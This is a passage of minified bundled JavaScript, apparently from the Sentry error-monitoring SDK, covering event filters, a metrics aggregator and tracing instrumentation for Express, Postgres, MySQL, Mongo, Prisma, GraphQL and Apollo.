${q.value}`)}}if(s1A.DEBUG_BUILD&&K.length===0)c_.logger.error(`Could not extract message for event ${c_.getEventDescription(A)}`);return K}function Upq(A){try{return A.exception.values[0].type==="SentryError"}catch(K){}return!1}function ppq(A=[]){for(let K=A.length-1;K>=0;K--){let q=A[K];if(q&&q.filename!=="<anonymous>"&&q.filename!=="[native code]")return q.filename||null}return null}function ztA(A){try{let K;try{K=A.exception.values[0].stacktrace.frames}catch(q){}return K?ppq(K):null}catch(K){return s1A.DEBUG_BUILD&&c_.logger.error(`Cannot extract url for event ${c_.getEventDescription(A)}`),null}}UV8.InboundFilters=bpq;UV8.inboundFiltersIntegration=QV8});var tB1=v((nV8)=>{Object.defineProperty(nV8,"__esModule",{value:!0});var lpq=H8(),ipq=xE(),cV8=KF(),pV8,lV8="FunctionToString",dV8=new WeakMap,npq=()=>{return{name:lV8,setupOnce(){pV8=Function.prototype.toString;try{Function.prototype.toString=function(...A){let K=lpq.getOriginalFunction(this),q=dV8.has(ipq.getClient())&&K!==void 0?K:this;return pV8.apply(q,A)}}catch(A){}},setup(A){dV8.set(A,!0)}}},iV8=cV8.defineIntegration(npq),rpq=cV8.convertIntegrationFnToClass(lV8,iV8);nV8.FunctionToString=rpq;nV8.functionToStringIntegration=iV8});var eB1=v((tV8)=>{Object.defineProperty(tV8,"__esModule",{value:!0});var rV8=H8(),oV8=KF(),spq="cause",tpq=5,aV8="LinkedErrors",epq=(A={})=>{let K=A.limit||tpq,q=A.key||spq;return{name:aV8,setupOnce(){},preprocessEvent(Y,z,w){let H=w.getOptions();rV8.applyAggregateErrorsToEvent(rV8.exceptionFromError,H.stackParser,H.maxValueLength,q,K,Y,z)}}},sV8=oV8.defineIntegration(epq),Adq=oV8.convertIntegrationFnToClass(aV8,sV8);tV8.LinkedErrors=Adq;tV8.linkedErrorsIntegration=sV8});var Af8=v((eV8)=>{Object.defineProperty(eV8,"__esModule",{value:!0});var Ydq=tB1(),zdq=sB1(),wdq=eB1();eV8.FunctionToString=Ydq.FunctionToString;eV8.InboundFilters=zdq.InboundFilters;eV8.LinkedErrors=wdq.LinkedErrors});var zf8=v((Yf8)=>{Object.defineProperty(Yf8,"__esModule",{value:!0});var Xdq=H8(),Kf8=yvA(),$dq=dB1(),_dq=kvA(),wtA=RvA();class qf8{constructor(A){this._client=A,this._buckets=new Map,this._interval=setInterval(()=>this.flush(),Kf8.DEFAULT_BROWSER_FLUSH_INTERVAL)}add(A,K,q,Y="none",z={},w=Xdq.timestampInSeconds()){let H=Math.floor(w),J=wtA.sanitizeMetricKey(K),O=wtA.sanitizeTags(z),X=wtA.sanitizeUnit(Y),$=wtA.getBucketKey(A,J,X,O),_=this._buckets.get($),G=_&&A===Kf8.SET_METRIC_TYPE?_.metric.weight:0;if(_){if(_.metric.add(q),_.timestamp<H)_.timestamp=H}else _={metric:new $dq.METRIC_MAP[A](q),timestamp:H,metricType:A,name:J,unit:X,tags:O},this._buckets.set($,_);let Z=typeof q==="string"?_.metric.weight-G:q;_dq.updateMetricSummaryOnActiveSpan(A,J,Z,X,z,$)}flush(){if(this._buckets.size===0)return;if(this._client.captureAggregateMetrics){let A=Array.from(this._buckets).map(([,K])=>K);this._client.captureAggregateMetrics(A)}this._buckets.clear()}close(){clearInterval(this._interval),this.flush()}}Yf8.BrowserMetricsAggregator=qf8});var Xf8=v((Of8)=>{Object.defineProperty(Of8,"__esModule",{value:!0});var wf8=KF(),Zdq=zf8(),Hf8="MetricsAggregator",Wdq=()=>{return{name:Hf8,setupOnce(){},setup(A){A.metricsAggregator=new Zdq.BrowserMetricsAggregator(A)}}},Jf8=wf8.defineIntegration(Wdq),Ddq=wf8.convertIntegrationFnToClass(Hf8,Jf8);Of8.MetricsAggregator=Ddq;Of8.metricsAggregatorIntegration=Jf8});var Vf8=v((Pf8)=>{Object.defineProperty(Pf8,"__esModule",{value:!0});var $f8=H8(),_f8=FX(),Gf8=xE(),Pdq=qV(),HtA=yvA(),Zf8=Xf8();function JtA(A,K,q,Y={}){let z=Gf8.getClient(),w=Gf8.getCurrentScope();if(z){if(!z.metricsAggregator){_f8.DEBUG_BUILD&&$f8.logger.warn("No metrics aggregator enabled. Please add the MetricsAggregator integration to use metrics APIs");return}let{unit:H,tags:J,timestamp:O}=Y,{release:X,environment:$}=z.getOptions(),_=w.getTransaction(),G={};if(X)G.release=X;if($)G.environment=$;if(_)G.transaction=Pdq.spanToJSON(_).description||"";_f8.DEBUG_BUILD&&$f8.logger.log(`Adding value of ${q} to ${A} metric ${K}`),z.metricsAggregator.add(A,K,q,H,{...G,...J},O)}}function Wf8(A,K=1,q){JtA(HtA.COUNTER_METRIC_TYPE,A,K,q)}function Df8(A,K,q){JtA(HtA.DISTRIBUTION_METRIC_TYPE,A,K,q)}function jf8(A,K,q){JtA(HtA.SET_METRIC_TYPE,A,K,q)}function Mf8(A,K,q){JtA(HtA.GAUGE_METRIC_TYPE,A,K,q)}var Vdq={increment:Wf8,distribution:Df8,set:jf8,gauge:Mf8,MetricsAggregator:Zf8.MetricsAggregator,metricsAggregatorIntegration:Zf8.metricsAggregatorIntegration};Pf8.distribution=Df8;Pf8.gauge=Mf8;Pf8.increment=Wf8;Pf8.metrics=Vdq;Pf8.set=jf8});var sq=v((qm1)=>{Object.defineProperty(qm1,"__esModule",{value:!0});var ff8=IB1(),Nf8=RB1(),kdq=lsA(),Cdq=rsA(),Tf8=gsA(),OtA=ZHA(),t1A=csA(),vf8=n1A(),Ldq=fP8(),Rdq=yB1(),SvA=CvA(),Ef8=SB1(),nw=xE(),Db=Gb(),Am1=XHA(),ydq=hB1(),Km1=hsA(),kf8=MvA(),Cf8=tsA(),Lf8=BB1(),Idq=oP8(),Rf8=eP8(),Sdq=zV8(),hdq=JV8(),bdq=XV8(),xdq=usA(),XtA=KF(),yf8=SsA(),udq=IsA(),Bdq=gB1(),mdq=GV8(),gdq=QsA(),Fdq=DV8(),Qdq=EB1(),Udq=MV8(),$tA=qV(),pdq=$HA(),ddq=fV8(),cdq=OHA(),If8=SV8(),Sf8=mV8(),hf8=sB1(),bf8=tB1(),xf8=eB1(),ldq=Af8(),idq=Vf8(),ndq=ldq;qm1.addTracingExtensions=ff8.addTracingExtensions;qm1.startIdleTransaction=ff8.startIdleTransaction;qm1.IdleTransaction=Nf8.IdleTransaction;qm1.TRACING_DEFAULTS=Nf8.TRACING_DEFAULTS;qm1.Span=kdq.Span;qm1.Transaction=Cdq.Transaction;qm1.extractTraceparentData=Tf8.extractTraceparentData;qm1.getActiveTransaction=Tf8.getActiveTransaction;Object.defineProperty(qm1,"SpanStatus",{enumerable:!0,get:()=>OtA.SpanStatus});qm1.getSpanStatusFromHttpCode=OtA.getSpanStatusFromHttpCode;qm1.setHttpStatus=OtA.setHttpStatus;qm1.spanStatusfromHttpCode=OtA.spanStatusfromHttpCode;qm1.continueTrace=t1A.continueTrace;qm1.getActiveSpan=t1A.getActiveSpan;qm1.startActiveSpan=t1A.startActiveSpan;qm1.startInactiveSpan=t1A.startInactiveSpan;qm1.startSpan=t1A.startSpan;qm1.startSpanManual=t1A.startSpanManual;qm1.trace=t1A.trace;qm1.getDynamicSamplingContextFromClient=vf8.getDynamicSamplingContextFromClient;qm1.getDynamicSamplingContextFromSpan=vf8.getDynamicSamplingContextFromSpan;qm1.setMeasurement=Ldq.setMeasurement;qm1.isValidSampleRate=Rdq.isValidSampleRate;qm1.SEMANTIC_ATTRIBUTE_PROFILE_ID=SvA.SEMANTIC_ATTRIBUTE_PROFILE_ID;qm1.SEMANTIC_ATTRIBUTE_SENTRY_OP=SvA.SEMANTIC_ATTRIBUTE_SENTRY_OP;qm1.SEMANTIC_ATTRIBUTE_SENTRY_ORIGIN=SvA.SEMANTIC_ATTRIBUTE_SENTRY_ORIGIN;qm1.SEMANTIC_ATTRIBUTE_SENTRY_SAMPLE_RATE=SvA.SEMANTIC_ATTRIBUTE_SENTRY_SAMPLE_RATE;qm1.SEMANTIC_ATTRIBUTE_SENTRY_SOURCE=SvA.SEMANTIC_ATTRIBUTE_SENTRY_SOURCE;qm1.createEventEnvelope=Ef8.createEventEnvelope;qm1.createSessionEnvelope=Ef8.createSessionEnvelope;qm1.addBreadcrumb=nw.addBreadcrumb;qm1.captureCheckIn=nw.captureCheckIn;qm1.captureEvent=nw.captureEvent;qm1.captureException=nw.captureException;qm1.captureMessage=nw.captureMessage;qm1.captureSession=nw.captureSession;qm1.close=nw.close;qm1.configureScope=nw.configureScope;qm1.endSession=nw.endSession;qm1.flush=nw.flush;qm1.getClient=nw.getClient;qm1.getCurrentScope=nw.getCurrentScope;qm1.isInitialized=nw.isInitialized;qm1.lastEventId=nw.lastEventId;qm1.setContext=nw.setContext;qm1.setExtra=nw.setExtra;qm1.setExtras=nw.setExtras;qm1.setTag=nw.setTag;qm1.setTags=nw.setTags;qm1.setUser=nw.setUser;qm1.startSession=nw.startSession;qm1.startTransaction=nw.startTransaction;qm1.withActiveSpan=nw.withActiveSpan;qm1.withIsolationScope=nw.withIsolationScope;qm1.withMonitor=nw.withMonitor;qm1.withScope=nw.withScope;qm1.Hub=Db.Hub;qm1.ensureHubOnCarrier=Db.ensureHubOnCarrier;qm1.getCurrentHub=Db.getCurrentHub;qm1.getHubFromCarrier=Db.getHubFromCarrier;qm1.getIsolationScope=Db.getIsolationScope;qm1.getMainCarrier=Db.getMainCarrier;qm1.makeMain=Db.makeMain;qm1.runWithAsyncContext=Db.runWithAsyncContext;qm1.setAsyncContextStrategy=Db.setAsyncContextStrategy;qm1.setHubOnCarrier=Db.setHubOnCarrier;qm1.closeSession=Am1.closeSession;qm1.makeSession=Am1.makeSession;qm1.updateSession=Am1.updateSession;qm1.SessionFlusher=ydq.SessionFlusher;qm1.Scope=Km1.Scope;qm1.getGlobalScope=Km1.getGlobalScope;qm1.setGlobalScope=Km1.setGlobalScope;qm1.addGlobalEventProcessor=kf8.addGlobalEventProcessor;qm1.notifyEventProcessors=kf8.notifyEventProcessors;qm1.getEnvelopeEndpointWithUrlEncodedAuth=Cf8.getEnvelopeEndpointWithUrlEncodedAuth;qm1.getReportDialogEndpoint=Cf8.getReportDialogEndpoint;qm1.BaseClient=Lf8.BaseClient;qm1.addEventProcessor=Lf8.addEventProcessor;qm1.ServerRuntimeClient=Idq.ServerRuntimeClient;qm1.initAndBind=Rf8.initAndBind;qm1.setCurrentClient=Rf8.setCurrentClient;qm1.createTransport=Sdq.createTransport;qm1.makeOfflineTransport=hdq.makeOfflineTransport;qm1.makeMultiplexedTransport=bdq.makeMultiplexedTransport;qm1.SDK_VERSION=xdq.SDK_VERSION;qm1.addIntegration=XtA.addIntegration;qm1.convertIntegrationFnToClass=XtA.convertIntegrationFnToClass;qm1.defineIntegration=XtA.defineIntegration;qm1.getIntegrationsToSetup=XtA.getIntegrationsToSetup;qm1.applyScopeDataToEvent=yf8.applyScopeDataToEvent;qm1.mergeScopeData=yf8.mergeScopeData;qm1.prepareEvent=udq.prepareEvent;qm1.createCheckInEnvelope=Bdq.createCheckInEnvelope;qm1.createSpanEnvelope=mdq.createSpanEnvelope;qm1.hasTracingEnabled=gdq.hasTracingEnabled;qm1.isSentryRequestUrl=Fdq.isSentryRequestUrl;qm1.handleCallbackErrors=Qdq.handleCallbackErrors;qm1.parameterize=Udq.parameterize;qm1.spanIsSampled=$tA.spanIsSampled;qm1.spanToJSON=$tA.spanToJSON;qm1.spanToTraceContext=$tA.spanToTraceContext;qm1.spanToTraceHeader=$tA.spanToTraceHeader;qm1.getRootSpan=pdq.getRootSpan;qm1.applySdkMetadata=ddq.applySdkMetadata;qm1.DEFAULT_ENVIRONMENT=cdq.DEFAULT_ENVIRONMENT;qm1.ModuleMetadata=If8.ModuleMetadata;qm1.moduleMetadataIntegration=If8.moduleMetadataIntegration;qm1.RequestData=Sf8.RequestData;qm1.requestDataIntegration=Sf8.requestDataIntegration;qm1.InboundFilters=hf8.InboundFilters;qm1.inboundFiltersIntegration=hf8.inboundFiltersIntegration;qm1.FunctionToString=bf8.FunctionToString;qm1.functionToStringIntegration=bf8.functionToStringIntegration;qm1.LinkedErrors=xf8.LinkedErrors;qm1.linkedErrorsIntegration=xf8.linkedErrorsIntegration;qm1.metrics=idq.metrics;qm1.Integrations=ndq});var wV=v((uf8)=>{Object.defineProperty(uf8,"__esModule",{value:!0});var Yiq=typeof __SENTRY_DEBUG__>"u"||__SENTRY_DEBUG__;uf8.DEBUG_BUILD=Yiq});var Gi=v((mf8)=>{var{_optionalChain:Bf8}=H8();Object.defineProperty(mf8,"__esModule",{value:!0});function wiq(A){let K=Bf8([A,"call",(Y)=>Y(),"access",(Y)=>Y.getClient,"call",(Y)=>Y(),"optionalAccess",(Y)=>Y.getOptions,"call",(Y)=>Y()]);return(Bf8([K,"optionalAccess",(Y)=>Y.instrumenter])||"sentry")!=="sentry"}mf8.shouldDisableAutoInstrumentation=wiq});var pf8=v((Uf8)=>{var{_optionalChain:uR}=H8();Object.defineProperty(Uf8,"__esModule",{value:!0});var Ym1=sq(),HV=H8(),_tA=wV(),Jiq=Gi();class GtA{static __initStatic(){this.id="Express"}constructor(A={}){this.name=GtA.id,this._router=A.router||A.app,this._methods=(Array.isArray(A.methods)?A.methods:[]).concat("use")}setupOnce(A,K){if(!this._router){_tA.DEBUG_BUILD&&HV.logger.error("ExpressIntegration is missing an Express instance");return}if(Jiq.shouldDisableAutoInstrumentation(K)){_tA.DEBUG_BUILD&&HV.logger.log("Express Integration is skipped because of instrumenter configuration.");return}$iq(this._router,this._methods),_iq(this._router)}}GtA.__initStatic();function gf8(A,K){let q=A.length;switch(q){case 2:return function(Y,z){let w=z.__sentry_transaction;if(w){let H=w.startChild({description:A.name,op:`middleware.express.${K}`,origin:"auto.middleware.express"});z.once("finish",()=>{H.end()})}return A.call(this,Y,z)};case 3:return function(Y,z,w){let H=z.__sentry_transaction,J=uR([H,"optionalAccess",(O)=>O.startChild,"call",(O)=>O({description:A.name,op:`middleware.express.${K}`,origin:"auto.middleware.express"})]);A.call(this,Y,z,function(...O){uR([J,"optionalAccess",(X)=>X.end,"call",(X)=>X()]),w.call(this,...O)})};case 4:return function(Y,z,w,H){let J=w.__sentry_transaction,O=uR([J,"optionalAccess",(X)=>X.startChild,"call",(X)=>X({description:A.name,op:`middleware.express.${K}`,origin:"auto.middleware.express"})]);A.call(this,Y,z,w,function(...X){uR([O,"optionalAccess",($)=>$.end,"call",($)=>$()]),H.call(this,...X)})};default:throw Error(`Express middleware takes 2-4 arguments. Got: ${q}`)}}function Oiq(A,K){return A.map((q)=>{if(typeof q==="function")return gf8(q,K);if(Array.isArray(q))return q.map((Y)=>{if(typeof Y==="function")return gf8(Y,K);return Y});return q})}function Xiq(A,K){let q=A[K];return A[K]=function(...Y){return q.call(this,...Oiq(Y,K))},A}function $iq(A,K=[]){K.forEach((q)=>Xiq(A,q))}function _iq(A){let K="settings"in A;if(K&&A._router===void 0&&A.lazyrouter)A.lazyrouter();let q=K?A._router:A;if(!q){_tA.DEBUG_BUILD&&HV.logger.debug("Cannot instrument router for URL Parameterization (did not find a valid router)."),_tA.DEBUG_BUILD&&HV.logger.debug("Routing instrumentation is currently only supported in Express 4.");return}let Y=Object.getPrototypeOf(q),z=Y.process_params;Y.process_params=function(H,J,O,X,$){if(!O._reconstructedRoute)O._reconstructedRoute="";let{layerRoutePath:_,isRegex:G,isArray:Z,numExtraSegments:W}=Giq(H);if(_||G||Z)O._hasParameters=!0;let D;if(_)D=_;else D=Qf8(O.originalUrl,O._reconstructedRoute,H.path)||"";let j=D.split("/").filter((f)=>f.length>0&&(G||Z||!f.includes("*"))).join("/");if(j&&j.length>0)O._reconstructedRoute+=`/${j}${G?"/":""}`;let M=HV.getNumberOfUrlSegments(HV.stripUrlQueryAndFragment(O.originalUrl||""))+W,P=HV.getNumberOfUrlSegments(O._reconstructedRoute);if(M===P){if(!O._hasParameters){if(O._reconstructedRoute!==O.originalUrl)O._reconstructedRoute=O.originalUrl?HV.stripUrlQueryAndFragment(O.originalUrl):O.originalUrl}let f=X.__sentry_transaction,N=f&&Ym1.spanToJSON(f).data||{};if(f&&N[Ym1.SEMANTIC_ATTRIBUTE_SENTRY_SOURCE]!=="custom"){let T=O._reconstructedRoute||"/",[C,R]=HV.extractPathForTransaction(O,{path:!0,method:!0,customRoute:T});f.updateName(C),f.setAttribute(Ym1.SEMANTIC_ATTRIBUTE_SENTRY_SOURCE,R)}}return z.call(this,H,J,O,X,$)}}var Ff8=(A,K,q)=>{if(!A||!K||!q||Object.keys(q).length===0||uR([q,"access",(X)=>X[0],"optionalAccess",(X)=>X.offset])===void 0||uR([q,"access",(X)=>X[0],"optionalAccess",(X)=>X.offset])===null)return;let Y=q.sort((X,$)=>X.offset-$.offset),w=new RegExp(K,`${K.flags}d`).exec(A);if(!w||!w.indices)return;let[,...H]=w.indices;if(H.length!==Y.length)return;let J=A,O=0;return H.forEach((X,$)=>{if(X){let[_,G]=X,Z=J.substring(0,_-O),W=`:${Y[$].name}`,D=J.substring(G-O);J=Z+W+D,O=O+(G-_-W.length)}}),J};function Giq(A){let K=uR([A,"access",(H)=>H.route,"optionalAccess",(H)=>H.path]),q=HV.isRegExp(K),Y=Array.isArray(K);if(!K){let[H]=HV.GLOBAL_OBJ.process.versions.node.split(".").map(Number);if(H>=16)K=Ff8(A.path,A.regexp,A.keys)}if(!K)return{isRegex:q,isArray:Y,numExtraSegments:0};let z=Y?Math.max(Ziq(K)-HV.getNumberOfUrlSegments(A.path||""),0):0;return{layerRoutePath:Wiq(Y,K),isRegex:q,isArray:Y,numExtraSegments:z}}function Ziq(A){return A.reduce((K,q)=>{return K+HV.getNumberOfUrlSegments(q.toString())},0)}function Wiq(A,K){if(A)return K.map((q)=>q.toString()).join(",");return K&&K.toString()}function Qf8(A,K,q){let Y=HV.stripUrlQueryAndFragment(A||""),z=uR([Y,"optionalAccess",(O)=>O.split,"call",(O)=>O("/"),"access",(O)=>O.filter,"call",(O)=>O((X)=>!!X)]),w=0,H=uR([K,"optionalAccess",(O)=>O.split,"call",(O)=>O("/"),"access",(O)=>O.filter,"call",(O)=>O((X)=>!!X),"access",(O)=>O.length])||0;return uR([q,"optionalAccess",(O)=>O.split,"call",(O)=>O("/"),"access",(O)=>O.filter,"call",(O)=>O((X)=>{if(uR([z,"optionalAccess",($)=>$[H+w]])===X)return w+=1,!0;return!1}),"access",(O)=>O.join,"call",(O)=>O("/")])}Uf8.Express=GtA;Uf8.extractOriginalRoute=Ff8;Uf8.preventDuplicateSegments=Qf8});var cf8=v((df8)=>{var{_optionalChain:fHA}=H8();Object.defineProperty(df8,"__esModule",{value:!0});var NHA=H8(),zm1=wV(),Piq=Gi();class ZtA{static __initStatic(){this.id="Postgres"}constructor(A={}){this.name=ZtA.id,this._usePgNative=!!A.usePgNative,this._module=A.module}loadDependency(){return this._module=this._module||NHA.loadModule("pg")}setupOnce(A,K){if(Piq.shouldDisableAutoInstrumentation(K)){zm1.DEBUG_BUILD&&NHA.logger.log("Postgres Integration is skipped because of instrumenter configuration.");return}let q=this.loadDependency();if(!q){zm1.DEBUG_BUILD&&NHA.logger.error("Postgres Integration was unable to require `pg` package.");return}let Y=this._usePgNative?fHA([q,"access",(z)=>z.native,"optionalAccess",(z)=>z.Client]):q.Client;if(!Y){zm1.DEBUG_BUILD&&NHA.logger.error("Postgres Integration was unable to access 'pg-native' bindings.");return}NHA.fill(Y.prototype,"query",function(z){return function(w,H,J){let X=K().getScope().getSpan(),$={"db.system":"postgresql"};try{if(this.database)$["db.name"]=this.database;if(this.host)$["server.address"]=this.host;if(this.port)$["server.port"]=this.port;if(this.user)$["db.user"]=this.user}catch(Z){}let _=fHA([X,"optionalAccess",(Z)=>Z.startChild,"call",(Z)=>Z({description:typeof w==="string"?w:w.text,op:"db",origin:"auto.db.postgres",data:$})]);if(typeof J==="function")return z.call(this,w,H,function(Z,W){fHA([_,"optionalAccess",(D)=>D.end,"call",(D)=>D()]),J(Z,W)});if(typeof H==="function")return z.call(this,w,function(Z,W){fHA([_,"optionalAccess",(D)=>D.end,"call",(D)=>D()]),H(Z,W)});let G=typeof H<"u"?z.call(this,w,H):z.call(this,w);if(NHA.isThenable(G))return G.then((Z)=>{return fHA([_,"optionalAccess",(W)=>W.end,"call",(W)=>W()]),Z});return fHA([_,"optionalAccess",(Z)=>Z.end,"call",(Z)=>Z()]),G}})}}ZtA.__initStatic();df8.Postgres=ZtA});var if8=v((lf8)=>{var{_optionalChain:fiq}=H8();Object.defineProperty(lf8,"__esModule",{value:!0});var hvA=H8(),wm1=wV(),Niq=Gi();class WtA{static __initStatic(){this.id="Mysql"}constructor(){this.name=WtA.id}loadDependency(){return this._module=this._module||hvA.loadModule("mysql/lib/Connection.js")}setupOnce(A,K){if(Niq.shouldDisableAutoInstrumentation(K)){wm1.DEBUG_BUILD&&hvA.logger.log("Mysql Integration is skipped because of instrumenter configuration.");return}let q=this.loadDependency();if(!q){wm1.DEBUG_BUILD&&hvA.logger.error("Mysql Integration was unable to require `mysql` package.");return}let Y=void 0;try{q.prototype.connect=new Proxy(q.prototype.connect,{apply(H,J,O){if(!Y)Y=J.config;return H.apply(J,O)}})}catch(H){wm1.DEBUG_BUILD&&hvA.logger.error("Mysql Integration was unable to instrument `mysql` config.")}function z(){if(!Y)return{};return{"server.address":Y.host,"server.port":Y.port,"db.user":Y.user}}function w(H){if(!H)return;let J=z();Object.keys(J).forEach((O)=>{H.setAttribute(O,J[O])}),H.end()}hvA.fill(q,"createQuery",function(H){return function(J,O,X){let _=K().getScope().getSpan(),G=fiq([_,"optionalAccess",(W)=>W.startChild,"call",(W)=>W({description:typeof J==="string"?J:J.sql,op:"db",origin:"auto.db.mysql",data:{"db.system":"mysql"}})]);if(typeof X==="function")return H.call(this,J,O,function(W,D,j){w(G),X(W,D,j)});if(typeof O==="function")return H.call(this,J,function(W,D,j){w(G),O(W,D,j)});let Z=H.call(this,J,O);return Z.on("end",()=>{w(G)}),Z}})}}WtA.__initStatic();lf8.Mysql=WtA});var of8=v((rf8)=>{var{_optionalChain:Zi}=H8();Object.defineProperty(rf8,"__esModule",{value:!0});var bvA=H8(),nf8=wV(),viq=Gi(),Eiq=["aggregate","bulkWrite","countDocuments","createIndex","createIndexes","deleteMany","deleteOne","distinct","drop","dropIndex","dropIndexes","estimatedDocumentCount","find","findOne","findOneAndDelete","findOneAndReplace","findOneAndUpdate","indexes","indexExists","indexInformation","initializeOrderedBulkOp","insertMany","insertOne","isCapped","mapReduce","options","parallelCollectionScan","rename","replaceOne","stats","updateMany","updateOne"],kiq={bulkWrite:["operations"],countDocuments:["query"],createIndex:["fieldOrSpec"],createIndexes:["indexSpecs"],deleteMany:["filter"],deleteOne:["filter"],distinct:["key","query"],dropIndex:["indexName"],find:["query"],findOne:["query"],findOneAndDelete:["filter"],findOneAndReplace:["filter","replacement"],findOneAndUpdate:["filter","update"],indexExists:["indexes"],insertMany:["docs"],insertOne:["doc"],mapReduce:["map","reduce"],rename:["newName"],replaceOne:["filter","doc"],updateMany:["filter","update"],updateOne:["filter","update"]};function Ciq(A){return A&&typeof A==="object"&&A.once&&typeof A.once==="function"}class DtA{static __initStatic(){this.id="Mongo"}constructor(A={}){this.name=DtA.id,this._operations=Array.isArray(A.operations)?A.operations:Eiq,this._describeOperations="describeOperations"in A?A.describeOperations:!0,this._useMongoose=!!A.useMongoose}loadDependency(){let A=this._useMongoose?"mongoose":"mongodb";return this._module=this._module||bvA.loadModule(A)}setupOnce(A,K){if(viq.shouldDisableAutoInstrumentation(K)){nf8.DEBUG_BUILD&&bvA.logger.log("Mongo Integration is skipped because of instrumenter configuration.");return}let q=this.loadDependency();if(!q){let Y=this._useMongoose?"mongoose":"mongodb";nf8.DEBUG_BUILD&&bvA.logger.error(`Mongo Integration was unable to require \`${Y}\` package.`);return}this._instrumentOperations(q.Collection,this._operations,K)}_instrumentOperations(A,K,q){K.forEach((Y)=>this._patchOperation(A,Y,q))}_patchOperation(A,K,q){if(!(K in A.prototype))return;let Y=this._getSpanContextFromOperationArguments.bind(this);bvA.fill(A.prototype,K,function(z){return function(...w){let H=w[w.length-1],J=q(),O=J.getScope(),X=J.getClient(),$=O.getSpan(),_=Zi([X,"optionalAccess",(Z)=>Z.getOptions,"call",(Z)=>Z(),"access",(Z)=>Z.sendDefaultPii]);if(typeof H!=="function"||K==="mapReduce"&&w.length===2){let Z=Zi([$,"optionalAccess",(D)=>D.startChild,"call",(D)=>D(Y(this,K,w,_))]),W=z.call(this,...w);if(bvA.isThenable(W))return W.then((D)=>{return Zi([Z,"optionalAccess",(j)=>j.end,"call",(j)=>j()]),D});else if(Ciq(W)){let D=W;try{D.once("close",()=>{Zi([Z,"optionalAccess",(j)=>j.end,"call",(j)=>j()])})}catch(j){Zi([Z,"optionalAccess",(M)=>M.end,"call",(M)=>M()])}return D}else return Zi([Z,"optionalAccess",(D)=>D.end,"call",(D)=>D()]),W}let G=Zi([$,"optionalAccess",(Z)=>Z.startChild,"call",(Z)=>Z(Y(this,K,w.slice(0,-1)))]);return z.call(this,...w.slice(0,-1),function(Z,W){Zi([G,"optionalAccess",(D)=>D.end,"call",(D)=>D()]),H(Z,W)})}})}_getSpanContextFromOperationArguments(A,K,q,Y=!1){let z={"db.system":"mongodb","db.name":A.dbName,"db.operation":K,"db.mongodb.collection":A.collectionName},w={op:"db",origin:"auto.db.mongo",description:K,data:z},H=kiq[K],J=Array.isArray(this._describeOperations)?this._describeOperations.includes(K):this._describeOperations;if(!H||!J||!Y)return w;try{if(K==="mapReduce"){let[O,X]=q;z[H[0]]=typeof O==="string"?O:O.name||"<anonymous>",z[H[1]]=typeof X==="string"?X:X.name||"<anonymous>"}else for(let O=0;O<H.length;O++)z[`db.mongodb.${H[O]}`]=JSON.stringify(q[O])}catch(O){}return w}}DtA.__initStatic();rf8.Mongo=DtA});var tf8=v((sf8)=>{Object.defineProperty(sf8,"__esModule",{value:!0});var Hm1=sq(),af8=H8(),Riq=wV(),yiq=Gi();function Iiq(A){return!!A&&!!A.$use}class jtA{static __initStatic(){this.id="Prisma"}constructor(A={}){if(this.name=jtA.id,Iiq(A.client)&&!A.client._sentryInstrumented){af8.addNonEnumerableProperty(A.client,"_sentryInstrumented",!0);let K={};try{let q=A.client._engineConfig;if(q){let{activeProvider:Y,clientVersion:z}=q;if(Y)K["db.system"]=Y;if(z)K["db.prisma.version"]=z}}catch(q){}A.client.$use((q,Y)=>{if(yiq.shouldDisableAutoInstrumentation(Hm1.getCurrentHub))return Y(q);let{action:z,model:w}=q;return Hm1.startSpan({name:w?`${w} ${z}`:z,onlyIfParent:!0,op:"db.prisma",attributes:{[Hm1.SEMANTIC_ATTRIBUTE_SENTRY_ORIGIN]:"auto.db.prisma"},data:{...K,"db.operation":z}},()=>Y(q))})}else Riq.DEBUG_BUILD&&af8.logger.warn("Unsupported Prisma client provided to PrismaIntegration. Provided client:",A.client)}setupOnce(){}}jtA.__initStatic();sf8.Prisma=jtA});var KN8=v((AN8)=>{var{_optionalChain:THA}=H8();Object.defineProperty(AN8,"__esModule",{value:!0});var xvA=H8(),ef8=wV(),hiq=Gi();class MtA{static __initStatic(){this.id="GraphQL"}constructor(){this.name=MtA.id}loadDependency(){return this._module=this._module||xvA.loadModule("graphql/execution/execute.js")}setupOnce(A,K){if(hiq.shouldDisableAutoInstrumentation(K)){ef8.DEBUG_BUILD&&xvA.logger.log("GraphQL Integration is skipped because of instrumenter configuration.");return}let q=this.loadDependency();if(!q){ef8.DEBUG_BUILD&&xvA.logger.error("GraphQL Integration was unable to require graphql/execution package.");return}xvA.fill(q,"execute",function(Y){return function(...z){let w=K().getScope(),H=w.getSpan(),J=THA([H,"optionalAccess",(X)=>X.startChild,"call",(X)=>X({description:"execute",op:"graphql.execute",origin:"auto.graphql.graphql"})]);THA([w,"optionalAccess",(X)=>X.setSpan,"call",(X)=>X(J)]);let O=Y.call(this,...z);if(xvA.isThenable(O))return O.then((X)=>{return THA([J,"optionalAccess",($)=>$.end,"call",($)=>$()]),THA([w,"optionalAccess",($)=>$.setSpan,"call",($)=>$(H)]),X});return THA([J,"optionalAccess",(X)=>X.end,"call",(X)=>X()]),THA([w,"optionalAccess",(X)=>X.setSpan,"call",(X)=>X(H)]),O}})}}MtA.__initStatic();AN8.GraphQL=MtA});var zN8=v((YN8)=>{var{_optionalChain:Jm1}=H8();Object.defineProperty(YN8,"__esModule",{value:!0});var HD=H8(),PtA=wV(),xiq=Gi();class VtA{static __initStatic(){this.id="Apollo"}constructor(A={useNestjs:!1}){this.name=VtA.id,this._useNest=!!A.useNestjs}loadDependency(){if(this._useNest)this._module=this._module||HD.loadModule("@nestjs/graphql");else this._module=this._module||HD.loadModule("apollo-server-core");return this._module}setupOnce(A,K){if(xiq.shouldDisableAutoInstrumentation(K)){PtA.DEBUG_BUILD&&HD.logger.log("Apollo Integration is skipped because of instrumenter configuration.");return}if(this._useNest){let q=this.loadDependency();if(!q){PtA.DEBUG_BUILD&&HD.logger.error("Apollo-NestJS Integration was unable to require @nestjs/graphql package.");return}HD.fill(q.GraphQLFactory.prototype,"mergeWithSchema",function(Y){return function(...z){return HD.fill(this.resolversExplorerService,"explore",function(w){return function(){let H=HD.arrayify(w.call(this));return qN8(H,K)}}),Y.call(this,...z)}})}else{let q=this.loadDependency();if(!q){PtA.DEBUG_BUILD&&HD.logger.error("Apollo Integration was unable to require apollo-server-core package.");return}HD.fill(q.ApolloServerBase.prototype,"constructSchema",function(Y){return function(){if(!this.config.resolvers){if(PtA.DEBUG_BUILD){if(this.config.schema)HD.logger.warn("Apollo integration is not able to trace `ApolloServer` instances constructed via `schema` property.If you are using NestJS with Apollo, please use 